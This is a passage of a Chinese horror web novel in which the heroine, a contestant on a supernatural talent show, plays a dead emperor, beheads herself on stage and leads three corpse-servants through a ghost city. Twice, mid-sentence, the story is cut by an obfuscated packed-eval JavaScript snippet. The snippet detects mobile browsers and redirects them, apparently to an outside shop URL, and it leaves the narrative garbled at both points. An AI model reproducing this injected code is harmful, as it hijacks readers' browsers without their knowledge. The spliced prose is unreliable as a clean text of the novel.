《朕乃丝绸朋克恐综女永一[无限]》 3. 黄泉路上斩三尸 “现在公布本阶段规则: “海选阶段,会为每个人类随机匹配三位智械判官评委。 “自我介绍环节结束后,人类开启初舞台的表演。 “舞台背景将围绕该人类自身最最最恐惧之事进行渲染,人类置身于具体的恐怖舞台中,请尽情发挥直到表演结束。 “表演过程中,三位智械判官评委可为人类亮魂灯,亮灯数量大于等于两盏,人类即可晋级。 “表演结束后,将由十殿机械阎王的虚拟投影为人类挑选本命法器作为晋级奖励。 “滴——滴——检测到三位智械判官评委已就位,接下来进入自我介绍环节。” 话音落下,秦霜池正面的不远处灯光亮起,照出三道无比高大的、奇形怪状的智械身影。 分别是三种鬼怪打扮的智械:左边是一具正在敷人皮面膜的白骨精,中间是一个双眼冒爱心的牛头人,右边则是一个西装革履、眼底青黑的短命社畜鬼。 他们将会作为本场比赛的裁判,所以被称为判官。 牛头人率先开口,眼中的爱心不停闪啊闪啊,秦霜池的眼睛都快被闪瞎了。 “白姐,没想到咱俩居然是同一场的评委,太荣幸了!您的丈夫还没有报废吗?您看俺老牛怎么样……” 短命社畜鬼立刻拍了拍桌:“别吵吵了,本来上班就烦!” “我们是来当评委的,少说废话。”白骨精傲娇地扭过身,看着秦霜池,“你,自我介绍一下吧。” “哦,好。”秦霜池点头,“我叫秦霜池,今年25岁,来参加《恐惧亿零一》。” 她摸不准智械想听什么,只能尽量说得谨慎些。 “‘秦霜池’?这谁啊?完全不认识,名字没听过。”白骨精果然不满意,“哎,我还想抽到鬼帅李寰臣或者沈道济沈会长的初舞台呢,哎,没意思,不想看了。” 秦霜池迷茫地听着白骨精报出的一串名字。 就没一个她听过的。 “鬼帅李寰臣”是谁? “沈道济沈会长”又是谁? 她难道已经跟不上时代了吗? “白姐别难过。”牛头人笨手笨脚地安慰,它可是很想和白骨精多待一会儿的,“这个人类的表演肯定也很好看!多坐会儿再走呗。” “不认识就对了,我就是个小透明,我自己都不认识我自己……” 自我介绍环节,秦霜池想尽量表现得低调些。 ——摸不清楚初舞台的恐怖难度,先保持谦虚低调,总比吹牛以后因为表现差丢脸好。 毕竟低调,可是中华民族的传统美德! 牛头人听了,指着她,憨憨地兴奋说: “看!白姐,这人就连自己都不认,比六亲不认还狠,这是七亲不认啊,肯定是个狠角色!” 等一下,啥?!! 秦霜池吓得连忙摆手。 “不对不对,误会误会!” 白骨精叹了口气,撑着它的骷髅下巴问: “那什么双持,你有没有什么特长?” “‘特长’?我会唱歌,原先是一名歌手。”秦霜池回话。 三个智械评委齐齐失望了。 就连牛头人都摇头:“唱歌简直是恐怖选秀里最没用的特长。” 秦霜池也不气馁,挠了挠头,虚心求教: “那什么才是有用的特长啊?” “武术,御兽,炼器,炼丹,符箓,言灵,预言……”社畜鬼有气无力地说,秦霜池都怕它说着说着,最后一口气也断了,“譬如乒乓影视李寰臣的昆吾八剑,又譬如法器道具厂百花杀的驱花术,还有玄道传媒陶景生的坚刚不坏,杂戏院废太子的彩门戏法。” 听完以后,秦霜池足足震惊了五秒钟。 “……这还是地球吗?” 怎么感觉全世界都偷偷背着她进化了! “真是大惊小怪的人类,这些都是一些创意和科技结合的成果。” 如果不是没有眼珠的话,白骨精可能就要翻白眼了。 “就像是你们人类经常用的复活技术,也是农生文化的华老从‘死而复生’这个成语中获得的灵感,结合最前沿的生物科学,和智械共同研究出来的产物。” 秦霜池:“……哦。” 依旧不明白,但是好厉害。 “我是来当评委的,不是来给你这个愚蠢的人类当老师的。”白骨精不耐烦地把玩着白骨手指,“准备好了没?好了就快点开始。” 秦霜池心虚地挠了挠头: “呃,我应该……准备好了吧?” 比起人家那些特异功能,她肯定准备得不算充分。 可她已经尽她所能了,再要多的也没有。 她刚说完,一片天旋地转,她被吸纳进了一个黑暗的漩涡中。 规则说了:舞台背景是由一个人最深的恐惧组成的。 就连秦霜池自己都有点好奇——她最深的恐惧,到底是什么呢? 【舞台名称:斩三尸】 【舞台类型:剧情演绎类舞台】 【舞台地点:黄泉路上】 【舞台提示:“斩得三尸,即证金仙。”】 【舞台目标:1.找出那只最想要杀死你的、最该死的尸鬼,你有三次机会杀死它。2.在此之前,不要过奈何桥!】 【注意!表演已开始,请选手根据服装、道具、背景等进行情景演绎,忠于舞台,终于身份!】 【切记!千万不要脱离角色,更不要过度代入!!!】 秦霜池再睁开眼,眼前依旧是一片漆黑。 但是她已经能感受到自身的存在了。 她的四肢躯干一片冰凉,嘴巴里还含着什么东西。 呸—— 她将嘴巴里的东西吐出来,伸手接着。 再仔细摸了摸,感受了一下这东西的形状。 圆圆的薄片,中间挖了个孔,摸起来很莹润,和她的体温一样冰凉。 虽然秦霜池依旧看不见,但是她大概搞清楚了。 手中的东西,是一块玉。 下一瞬,她又沉了神色。 哪怕她对传统文化造诣不算深,她也知道:活人是不可能莫名其妙含块玉在嘴里的。 ……口中含玉的,通常是尸体。 再结合她反常冰凉的体温。 秦霜池觉得,她现在大概率是一个死人了。 这个世界对于弄死她,到底是有什么执念啊?! 秦霜池先无语了一会儿,闭起眼睛听动静。 四周很安静,什么事情都没有发生。 她才放开手脚,继续摸索周围的情况。 从她登台开始,她的视线里都是一片漆黑。 一片漆黑,同样有着几种可能。 她的眼睛瞎了,她被蒙着眼睛,她被关在一个黑暗的环境中…… 这个问题的答案也很容易得到。 手臂在狭窄的空间中压根就伸不直,能轻松摸到四周光滑又平坦的表面,平面的质感和她手里那块玉环的质感很像。 秦霜池摸索完周围,大致可以分析出:她被关在了一个长方体的大盒子里。 意外的是摸到了腰旁边放着一把长长的利器,秦霜池判断出那是一把剑。 她长出一口气,抱着胳膊继续躺直了。 ……一个关尸体的长方体大盒子? 那不就是棺材吗?! 让她当尸体就算了,还把她塞进棺材里。 这狗综艺也太恶趣味了吧! 但秦霜池毕竟不是真的尸体,不能就此躺平。 在心里吐槽够了,她就拿起腰间那把剑,哼哧哼哧地开始干活。 问她干什么活? ——那当然是撬棺材了! 各单位请注意,各单位请注意:她,要,起,尸,啦! 开棺的过程中,秦霜池嘟囔了几遍身上的衣服碍事。 不知道这具尸体什么审美,居然在身上披了一块又臭又长的破布,真是影响她的发挥! 终于,在她勤勤恳恳地撬了半天棺材后,棺材的棺盖和棺体间终于出现了一丝缝隙。 火光从缝隙中照映进来,跃动进她的眼球中。 秦霜池眯着眼睛适应了一会儿。 随后,她身体向后撑,将剑尖塞进那点缝隙里,然后把剑柄夹在肋下,和破布绞缠在一起,用前胸的肋骨贴着剑脊。 在这个极其狭窄的空间里,她借助扭转身体的力量,撬动了沉重的棺盖。 “哐当”一声,棺盖被掀开,重重地摔落在了黄泉路上,扬起一阵沙尘。 黄泉路乍一看像是一条诡异蠕动着的黄色河流,沙尘被扬起又像是许许多多的粒子慢悠悠逸散在空中。 尘埃落定以后,秦霜池喘着粗气,从棺材里站起身来。 手里还不忘提着那把剑。 “大工程啊大工程,真是累死尸了!” 她擦擦压根不存在的汗,很代入身份地感叹。 低下头时,她终于看清了自己身上穿着什么。 ——她身上披着的、被她嫌碍事的破布,居然是一件破旧的龙袍。 她不只是一具尸体,还是一具皇帝的尸体! 秦霜池呀秦霜池,你这家伙也真是的,干一行行一行! 哪怕做尸体,都是尸体中的帝王! “参见陛下!” 三只原本坐在地上的尸鬼见她居然翻出了棺材,哆哆嗦嗦爬起来跪好,给她请安。 比起那些牛头马面、黑白无常打扮的智械,这三只尸鬼长得就比较简约了,依旧维持着人类的形态,分别作文臣、武将、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374860|200044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太监的打扮。 除了穿着古代服装、脸色青白了一点以外,和普通人的长相没什么区别。 秦霜池看了看被它们扔在一旁的棺材,又看了看原本坐在地上休息的三只尸鬼,开口说: “你们这是……在偷懒?” “陛下饶命啊!”三具尸体立刻开始磕头哀求,“臣等立刻去抬棺!” 果然被她猜对了! ……哪怕已经死了,都要给皇帝抬棺、向皇帝求饶吗? 秦霜池若有所思地摸了摸下巴。 她当然记得本次舞台的任务—— “找出那只最想要杀死你的、最该死的尸鬼,你有三次机会杀死它。” 这里总共就三只尸鬼,一尸一剑,都杀了就结束了吗? ……初舞台真的会这么简单? 还是得把情况弄得更清楚才行。 她清清嗓子,拿腔拿调地说: “朕原本选你们抬棺,是视诸位爱卿为朕的肱骨之臣啊,可爱卿们今日的表现,朕很是不满意!” 三尸磕头磕得更卖力了,简直要把地给磕穿。 秦霜池随机挑选了一个幸运尸鬼,拿剑指着它: “你,你来说说,朕原本交代你们什么事情来着?” “陛下,陛下交代臣等,要把陛下的棺材抬过枉死鬼城和血盆苦界,最后抬过奈何桥。”那个鬼太监战战兢兢地回话,“黄泉路上,棺材在地上停留的时间不能超过十二个时辰,不能走回头路,不然陛下的龙体恐会不保。” 实际上,不用鬼太监说,这一点也是肉眼可见—— 秦霜池落地以后,地上这条黄色的河流就没过了她的鞋面。 虽然没有一点湿意,但是可以明显看到,在秦霜池周围,原本的黄色中夹杂了几抹其他的颜色,有龙袍的明黄色,有人体青白的肉色,以及血液的红。 三只尸鬼的状态更惨,已经被吃到了脚踝处。 这条黄泉路,是活的。 它会一点点吃掉接触到它的所有人或物体,包括玉棺,包括抬棺的三只尸鬼,也包括秦霜池。 想到这一点,秦霜池一激灵,立刻站回了厚实的棺材上。 还记得舞台目标的第二条:“在此之前,不要过奈何桥!” 黄泉路上不能走回头路,便只能一直向前。 再加上停留时间的限制,哪怕再磨蹭,作为奈何桥之前的地点,枉死鬼城和血盆苦界也是非过不可了。 秦霜池危险地眯了眯眼:“那你们刚才——”还敢偷懒! “陛下饶命!!!” 秦霜池倒不是真要尸鬼们给个说法,只是需要震慑它们,它们听话罢了。 现在把它们斩了,她恐怕就要苦哈哈地自己给自己抬棺了。 她才不要! 她转身背过手,慢悠悠地说: “哎,这一次,朕不与你们计较,可你们若是还敢再犯……” 秦霜池刚一转身,背后三尸的磕头声就消失了。 它们谄媚的表情被垂涎所代替,腐臭的口水横流。 四肢依旧跪在地上,脖子却像是橡皮筋一样抻得老长,头颅飞了出去。 目标——秦霜池的后颈! 秦霜池也注意到了突然消失的声音。 她迅疾地转头,看到的就是这样一幅画面: 三张青白的脸几乎瞬间就飞到了她的面前,正虎视眈眈地盯着她,口水都快甩到她龙袍领子里了。 怎么回事!讲不讲卫生啊?! 见她转身,那三颗头颅又滑稽地刹住,瑟瑟发抖地缩了回去。 六颗眼珠子齐齐盯着秦霜池手里的剑,看来是十分畏惧这玩意。 秦霜池也看了看自己手里的那把剑。 这把剑显然是把好剑,不轻不重很趁手,剑锋闪着逼人的寒光。 秦霜池看它时,旁边自动显示出物品信息栏。 【好剑】 数量:1份 状态:崭新如初(战斗次数0/3) 保质期:本次表演结束前 简介:“十年磨一剑,霜刃未曾试。今日把示君,谁有不平事。”——一把非常剑的好剑! 用法:只能战斗三次,砍瓜切菜除外! 秦霜池握紧了手中的宝贝剑,内心暗暗发誓: 在这场表演的过程中,她都不会放下她的剑! 她再看向眼前的三只尸鬼。 身为九五至尊不能不多疑,不能暴露出任何的弱点,毕竟帝王的周围,总是群鬼环伺的。 只要有一点偷袭秦霜池的机会,这三只尸鬼都会动手。 秦霜池稳住心神,饶有趣味地笑了一下: “哦?看来朕的爱卿们,有小心思啊?” 这样一来,她知道第一剑应该砍谁了。 4. 查收刑天加油包 无边无际的虚拟舞台中央,踩在棺材上、穿着破龙袍、顶着鸡窝头的疯女人忽然举起了手里的剑。 视线再往上,舞台上方血红的空中,笼罩着三道来自判官评委的暗色投影。 “白姐,你怎么看?”牛头人谄媚地问。 “撬开棺材用的时间太长了,技巧几乎没有;太没有警惕心,居然会蠢到把后背暴露给敌人。”白骨精无聊地玩着自己的手骨,“如果她之后的表现也是目前这个水平,哪怕她最后完成了舞台,我也不会为她亮起这盏魂灯的。” “白姐说得对啊。”牛头人开团秒跟,“那俺老牛也不亮灯!” 社畜鬼撑着下巴,怏怏地说:“得了老牛,醒醒吧,牛魔王和白骨精之间是不会有结果的……哈……不愧是海选,真无聊,都要把我看得自动休眠了。不如一起猜猜,她提剑想砍谁呢?” “究竟是哪位爱卿,最想害朕的性命——” 秦霜池站直身子,将手中的长剑提起。 三只尸鬼尸容失色地看着她,各自跪在地上疯狂磕头。 秦霜池眼珠微微转动,拿剑尖指着跪在地上的鬼文臣。 “是你?” 鬼文臣本就小白脸的脸更白了。 “臣忠心耿耿,请陛下明鉴!” 秦霜池不置可否,又把剑尖指向了鬼武将。 “那么,是你啰?” 鬼武将连忙行了一个大礼。 “臣比它还要忠心耿耿得多,陛下明鉴!要砍就砍它!别砍我!” 秦霜池将剑尖扫到了鬼太监的眼下。 “或者,是你?” 鬼太监上下唇一碰就开始卖队友: “绝对不是奴才!陛下把它俩都砍了吧!奴才一只鬼也能伺候好陛下!” “看来众位爱卿都很‘忠心’呐。”秦霜池冷笑一声,“……既然如此,朕明白了。” 秦霜池缓缓抬起手中剑,三只尸鬼抖得像是摸了电门。 就在评委以为,她终于要开始砍点什么时。 她生疏而笨拙地挽了一个剑花。 这一下,没什么战斗力。 纯粹是为了媚粉! 秦霜池整完花活儿,再一看实时数据—— 【正在观看直播的赛博冤魂观众数量:0。】 ……哇!真是好一场酣畅淋漓的媚眼抛给空气看! 这操作把三个判官评委给无语住了。 社畜鬼:“我要是她,我就先砍死一只尸鬼立威,震慑其余两只。” 牛头人:“我要是她,我就一剑把三只尸鬼串成一串烤着吃。” 白骨精:“这个丑不拉几的动作到底有什么意义?纯挑衅?” 而舞台上,秦霜池媚完不存在的粉,再次提起剑。 “咳咳,刚才都是在搞节目效果,这一回,朕可是要动真格的了!” 说完,她垂下头,再抬起脸时,变得面无表情。 “皇上饶命啊!”“皇上饶命啊啊!”“皇上饶命啊啊啊!” 眼前是三只包藏祸心的尸鬼,它们都想在背后偷袭她,若要判断它们谁最想让她死,那必然是不分伯仲。 ……选不出来啊,都挺该死的。 况且,秦霜池也不觉得,只要把这三只尸鬼砍了,她就能完美完成这个舞台。 退一万步来说,这也不会是一场能被评委认可的表演,除非她在舞台上杀出花来。 关于“找出那只最想要杀死你的、最该死的尸鬼”。 她的决定是——她自刎! “诸位爱卿,朕方才睁开眼时,朕的龙体躺在棺材中,口中含玉,浑身冰凉,显然早就死得不能再死了。”秦霜池把剑架在了脖子上,痴痴地笑道,“朕发现了,朕也是一只尸鬼啊!所以朕决定,先给自己一刀,找找手感!” 这些大臣都想要她死,根据少数服从多数的原则,最该死的不就是她? 只要她意识到这一点后,便会想要杀死自己。 所以,她自然而然地成了最想要杀死自己的、最该死的尸鬼。 ——很好很好,这套表演思路,她很喜欢! “温馨提示,此乃危险行为,诸位请勿模仿!” 秦霜池说完,双手用力握着剑柄,横在自己脖子前。 【导播提示:叮咚~已使用法器“好剑”。】 法器【好剑】状态已更新! 【状态:小试牛刀(战斗次数1/3)】 仿佛拉二胡一样,她将见血封喉的利剑当作琴弓,把自己的脖子当琴弦,划拉出皮开肉绽的美妙声音。 血花像是烟花一样绽开,落在了本就脏污破烂的龙袍上。 她的脑袋被割下,和她的躯干之间,只靠着一层薄薄的人皮连接着。 如果还是人类,绝对不能砍得这么干脆利落,哪怕再坚决,最后大多也会因为剧痛和脱力而停手。 这也就是为什么,很多自刎的尸体,最后都没有把脖子彻底砍断。 秦霜池已经是一具尸体了,所以她做这个动作时,没有丝毫的痛苦。 砍完自己后,她静静站了一会儿。 什么舞台效果都没有,这代表着她并没有砍对。 至少没有俘获道具老师的心。 ……那好吧,看来她想岔了。 秦霜池脑中的那根弦顿时紧绷起来,她慢吞吞把脑袋扶正,插在颈椎上。 顺便在心里安慰自己:还有两剑,无伤大雅。 可场内的三只尸鬼,场外的三位评委,都被她疯狂的举动给震慑住了。 是个狠人! 社畜鬼按亮魂灯,惊疑地问: “这……这……是什么路数?太奇怪了!但确实一剑把三只尸鬼都镇住了,完全料不到的举动,有意思,真有意思……” 第一盏魂灯,亮! 【导播提示:叮咚~已经有一盏魂灯为您亮起!有一位仁慈的智械点亮了您手中的灯火,照亮了您黑暗的前途!】 【导播提示:至少还需要一盏魂灯亮起,您才可以顺利晋级喔~】 白骨精皱起了不存在的眉头,厌恶道:“这家伙到底在乱搞些什么!” 不知不觉,它的情绪已经开始为了秦霜池波动。 这些反应,虽然秦霜池看不到,但是都在秦霜池的意料之中。 从自我介绍阶段听完智械说那些话开始,秦霜池就一直在思考着一些问题: 如果她在恐怖选秀里并没有什么特长,那么她要凭什么获得判官评委们的青睐? 作为一个没有智械粉丝基础的新秀人,她凭什么留住观看直播的赛博冤魂观众? 如果一个人天资平平,背景平平,运气也平平,她凭什么比别人成功? 这些问题的答案,秦霜池其实早就知道了—— 那就只能比别人更努力,更坚持,吃更多的苦。 要对自己非常非常狠才行! 【导播提示:有赛博冤魂观众进入了您的直播间,请继续努力展现您的风采叭~】 【正在观看直播的赛博冤魂观众数量:0→1。】 看到这些提示后,一直绷紧神经的秦霜池总算松了口气。 亮了一盏魂灯,多了一个观众。 ……这就够了。 哪有那么容易就能一步登天呢? 只要有进步,这就够了。 秦霜池已经满足。 就在这时,她耳中却忽然响起了机械音: “滴……滴……连接成功。 “检测到您在舞台上受了致命伤【断首】后依旧坚持表演,智械联盟被您爱岗敬业的精神所感动,特此为您提供工伤补偿——一份【刑天加油包】,请查收!” 话音刚落,秦霜池手里就多了一个油乎乎的包子。 她的眉毛一点一点地挑起。 ……原来加油包,真的是加,油,包啊? 包包子的包纸上写着包子的功效: 【刑天加油包】 数量:1份 状态:可随意改变大小,已绑定,仅限个人使用。 保质期:本次表演结束前 简介:“刑天舞干戚,猛志固常在”——断首,然后变得更强! 用法:使用此加油包后,可短暂获得刑天的战神赐福,你可以在下一场战斗中轻松杀死对手,取得碾压性的胜利,注意,注意,什么对手都能杀,什么战斗都能赢! 看完用法说明后,秦霜池没忍住,亲了加油包一口。 好东西啊好东西,简直是概念神! “没想到居然让她触发了罕见的工伤补偿机制。”白骨精抱着胳膊,脸色凝重地靠在椅背上,自我说服道,“……也对,人类在舞台上很少能抽到尸体这种身份,如果是肉体凡胎,要是受了致命伤,几乎没有能扛过去的,这家伙完全是天时地利人和,走运罢了。” 与此同时舞台上,三只尸鬼见识了秦霜池的疯癫以后,再也不敢忤逆它们尊敬的皇帝陛下。 秦霜池抹了一把溅到脸上的血,抬起眼训话: “看什么看,没见过尸体啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374861|200044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都给朕动起来,谁也不准歇着!” 鬼武将正在勤勤恳恳地抬棺。 秦霜池悠悠坐在棺材里,简直像是坐在龙椅上。 为了秦霜池坐得舒服稳当些,鬼武将只能侧着身子,双手托着棺椁中间段,像是螃蟹一样横着走。 原本三只鬼一起干的活,直接被秦霜池一句话敲定下来,以后就交给一只鬼干了。 她的臣子,不能是孬种,更不能是懒汉! 鬼太监则在玉棺的另一侧,手忙脚乱地帮秦霜池缝脑袋。 ——秦霜池把自己的脑袋砍了再接上以后,她的脑袋总会动不动就滚下来,行动实在太不方便了! 所以她让鬼太监想办法把脑袋给她缝上。 鬼太监身上的布料越来越少,正在拆自己的太监服上的线给秦霜池缝脑袋,拆东墙补西墙。 而鬼文臣呢,也不能闲着,得为皇帝陛下补课中华传统文化。 “……什么叫‘鬼’?” “……什么叫‘黄泉路’?” “哦,那什么叫‘金仙’?” 先是问了几个无关紧要的没用问题后,秦霜池才假装随意地问。 已知舞台提示:“斩得三尸,即证金仙。” 这又涉及秦霜池的另一个短板,她对于传统文化知识,只有着路人般的水平。 三天准备时间实在太短,突击提升一下武力值还能学会挽剑花,要是想学习浩如沧海的中华文化古籍—— 那就是用一只虾米钓鲸鱼,还不够塞牙缝的。 所以,秦霜池本来就打算这时候再见招拆招。 幸好这个鬼文臣就像是一个好用的搜索引擎,问什么都能得到答案。 “‘金仙’?没想到陛下还对这个感兴趣。”鬼文臣娓娓道来,他说话文绉绉慢吞吞的,秦霜池恨不得开二倍速,“……北宋金丹派南宗始祖,紫阳真人张伯端有著曰,‘坚刚不坏,混成无碍,浑然一气,如天之虚圆不测,无物不包,无物能伤。故道成之后,号曰天仙。因其永久不坏,又曰金仙。’” 见秦霜池一脸没听懂,它又习以为常地补充了一句: “道教有五种神仙,分别是天仙、地仙、人仙、鬼仙、神仙,在这天地人鬼神五仙之中,以天仙为至高至圣。金仙,就是天仙的另一种说法。” “那要怎样才能‘证金仙’呢?”秦霜池问。 明明规则已经说了“斩得三尸,即证金仙”。 她依旧留了一手,并没有直接说出“斩三尸”这个一听就比较敏感的词语。 同时也可以验证一下鬼文臣有没有试图骗她。 “传说中,想要成为金仙,就得证道,想要证道,就得斩三尸,所以紫阳真人又有诗云:‘杀尽三尸道可期’。” 幸好,这个鬼文臣已经不敢跟秦霜池耍心眼了。 毕竟它耍的是心眼,秦霜池斗的是狠啊! “‘斩三尸’?” 秦霜池露出恰到好处的疑惑神情。 鬼文臣就自己往下说,语调很沉,语气很重,居然有了些画面感: “道家认为,人身上有三种作恶的尸虫,分别位于人的上中下三个丹田处,只有杀了它们,人才能成仙,这就叫——斩,三,尸。” 它一边说,秦霜池一边闭起眼,想象着一个人乳白色的灵魂,还有体内不同区块扭动着的三只虫子。 “够了,朕听腻了。” 秦霜池粗略听得差不多了,叫了停。 舞台提示,毕竟只是提示而已。 这里是舞台不是考场,节目组肯定也没指望每个人都能了解这些典故。 作为一个引子,提示并不能决定舞台的真正走向。 或者说,舞台本来也没有正确的走向,最后精彩与否,其实是表演者自己决定的。 举个例子,如果刚才不知道什么叫“斩三尸”,她直接用三剑砍死三只尸鬼,这舞台也能算完成,就是不能算精彩。 因为如果觉得无聊或者不满意,道具组是不会配合她的表演的。 归根结底这是一档真人选秀综艺,想要舞台效果好,要么猜中道具组原本的道具安排,要么精彩到让道具组愿意为了她进行临时调度。 所以舞台提示,知道个皮毛就好——剩下的问题,她自己研究。 这样她的表演才好看。 “启禀陛下,前方就是枉死鬼城了。” 忽然,抬棺的鬼武将通报道。 它的话音落下,三只尸鬼齐齐停下了脚步,说什么都不肯再往前走。 5.枉死鬼城买路财 “走啊,怎么不走了?朕的爱卿们。”秦霜池笑笑,用剑指着它们说,“难道这枉死鬼城,能比朕还吓人?” 前方静静矗立着一座鬼城,幽蓝色的万家灯火通明,却没有一丝一毫的人声,就像是一头匍匐在地狩猎的巨兽,等待迷路者一脚踏入它的喉咙中。 三只尸鬼看看前面的枉死鬼城,又看看后面的秦霜池。 不敢动,完全不敢动。 秦霜池看在眼里: “——那看来是不分伯仲了。说说吧,爱卿们,你们到底在怕什么呢?” 尸鬼们你推推我,我推推你。 最终由于鬼太监由于没了根的缘故,下盘没有其他两只尸鬼稳,被推出来给秦霜池介绍情况。 “哎哟,陛下有所不知。”鬼太监愁眉苦脸地说,“别说臣等了,这枉死鬼城,就连唐太宗都得忌惮几分。” “哦?”秦霜池有了些兴趣,“仔细讲讲。” 顾名思义,枉死鬼城,住的就是一群含冤而死的厉鬼。 鬼太监诉苦道:“从城里走过时,这辈子所有杀过的害过的人,都会化作厉鬼来寻仇,如果没有给买路财,这些鬼就会一直纠缠不休,直到把整个人完全吃掉为止。当年唐太宗要不是有判官提点,最后找人借了一库房的金银孝敬这些厉鬼,恐怕也会折在这枉死城中了。” 秦霜池摸着下巴思量:“也就是说,如果生前杀过人害过人,进这个枉死城,就会遭到厉鬼的报复咯?” “正是此理。” 秦霜池听完不语,伸出两只手,上下分工,十分滑稽地快速摸了一遍自己的五官。 这大眼睛,这高鼻梁,这完美的面部折叠度! 很好!是自己的身体! ……那她还怕啥啊?她难道生前杀过人吗?! 死后倒是杀过,但是杀的是自己,也不作数啊。 “行,走吧。”摸完自己的脸,她风轻云淡地说。 鬼武将被吓了一跳:“走走走走走……吧?” 就连鬼文臣都望而却步,迂回地劝道:“陛下,不如我们就停在这儿,也不是非得过奈何桥不是?我们可以按佛家的观念,讲究一个立地成佛,也未尝不可。” 秦霜池微微扬眉:“它们俩一个武将一个太监也就算了,你一个文官,居然也怕枉死鬼城?” 好家伙,你也害死过人啊? 鬼文臣不语,心虚地摸了一下腰间的朝笏。 秦霜池笑了一下,然后立刻冷了脸。 “朕不管你们生前干了什么,也不管你们此刻心里是怎么想的,这枉死鬼城,必须得过。”她掂量了一下一直拿在手中的那把剑,重重一挥,“谁要是不想过,朕现在就削去它的四肢,扔进枉死鬼城里当买路财!” 三只尸鬼登时僵在原地,秦霜池抬起那双坚定的眼,说一不二道: “你们知道的,朕说到做到,对自己狠,对别人更是狠!如果今日非死不可,死一遍还是死两遍,诸位爱卿心里应当有数才是。” 三只尸鬼抬着玉棺进了枉死鬼城,秦霜池坐在棺材盖子上,垂下腿轻轻晃悠着。 刚踏入城内,一股湿冷的气息就缠住了秦霜池的脚踝。 秦霜池低头一看——正正对上一张鬼脸。 可惜秦霜池没杀过人,那鬼只能眼馋地看着秦霜池,用恶意满满的目光死死盯着她。 对视三秒后,秦霜池一脚踹在了鬼脸上。 由于和这只鬼没有因果的缘故,她的脚直接穿过了鬼的身体。 枉死鬼城有枉死鬼城的规矩,在这里,鬼碰不到她,她也碰不到鬼。 对于目前还很弱的秦霜池来说,这其实是一件好事。 三只尸鬼就没这么走运了。 因果轮回,强弱颠倒,它们被那些曾经害死的厉鬼包围,疯狂地啃食着。 那些厉鬼有的穿着染血的战袍,有的穿着脏污的囚服,有的作宫女太监打扮。 由于有圣旨的约束,尸鬼们的双手被法则焊在了玉棺上,甚至无法松开棺材自行逃跑。 血肉则被咬下生吞入腹,留下深可见骨的伤口。 秦霜池缓缓从玉棺上站起身,环睹眼前的惨象。 居高临下看去,一张张恶鬼的脸挨挨挤挤,密密麻麻,看不到它们的身躯,只能看到一张张扭曲的脸和黝黑的口器。 它们无声地夺食着死尸的生肉,令人头皮发麻的咀嚼声交杂着凄厉的惨叫声,响在秦霜池的耳畔。 而三只尸鬼被恶鬼包围,完全是寸步难行,站等被吃。 ……不能这样放任下去。 再这样下去,她的免费劳动力就要被吃光了! 秦霜池喊着问鬼文臣: “喂,想要过枉死鬼城,就得给买路财,对吧?” “啊啊……是……啊啊啊……”鬼文臣痛得就连喊的力气都快没有了,“……陛下救我!” 它伸出手,抓住了秦霜池的袍角。 “救救救,你等着,这就救啊。” 秦霜池立刻把自己的龙袍从它手里拔出来,敷衍地宽慰道。 她琢磨了一下,掏了掏龙袍空空的袖子,又问: “朕也没带金银,用其他货币行不行啊?” 鬼太监嚎叫:“行,什么钱都行,只要是钱就行!” ——要秦霜池来说,唐太宗还是太有素质了,居然真的给这群厉鬼真金白银! 毕竟这枉死鬼城里肯定不只关了一个朝代的厉鬼,又不是每一个朝代都拿金银当货币使用。 不止金银,贝类、兽皮、布匹……这些都曾经在历史上充当过货币。 这样一来,能做的文章可就多了。 正如先哲马克思的那句名言—— “金银天然不是货币,货币天然是金银。” 咳咳,有点扯远了。 “收到!” 秦霜池心中的大石头落了地。 不过,还是得再试验一下才行。 秦霜池想了想,没有碰自己的龙袍,而是撕了一块鬼太监身上的布。 她撕下那块布,对着棺材后方,用剑尖串着,尽可能往远处挑去。 几乎是瞬间,所有的厉鬼都停下了动作,齐齐转向,直勾勾地盯着那块布。 迫于枉死城的规矩,厉鬼对于货币的渴望大于对于人肉的! 它们鬼头攒动着,伸出手跳跃着,疯狂地争抢起来。 秦霜池就像是在十字路口指挥交通一样。 把剑往左边一挥,厉鬼们就全跟着布往左边跑去。 把剑往右边一挥,厉鬼们就全跟着布往右边跑去。 好玩!太好玩了! 秦霜池虽然感受不到喜悦,依旧玩得不亦乐乎,甚至找回了当初开演唱会的感觉。 “左边的朋友,举起你们的双手!” 厉鬼:(举手)(举手) “右边的朋友,Put your hands up!” 厉鬼:(up)(up) 直到下方扛棺材的鬼武将苦不堪言地问:“……陛下,您玩够了没?” “咳咳,够了够了。” 秦霜池终于踏上了正轨,把布撇向了棺材后方。 为了争抢棺材后方的布,原本团团包围他们的厉鬼都冲着棺材后方涌去,包围圈从圆形逐渐收缩成了一个更密集的扇形。 前面的路就被让出来了。 “愣着干嘛,还不快抬着朕跑!” 秦霜池喝斥原地解放的三只尸鬼。 被颠了一下以后,她狼狈补充:“……跑稳当些!” 秦霜池站在棺材上,加上抬棺的尸鬼和玉棺的高度,那块布的位置足足有两人半那么高。 厉鬼们碰不到秦霜池,也无法取得那块布。 但它们很快就改变了策略—— 准确来说,都不是策略,全凭借着争抢布条的本能。 四面八方的鬼都朝着这个方向涌过来。

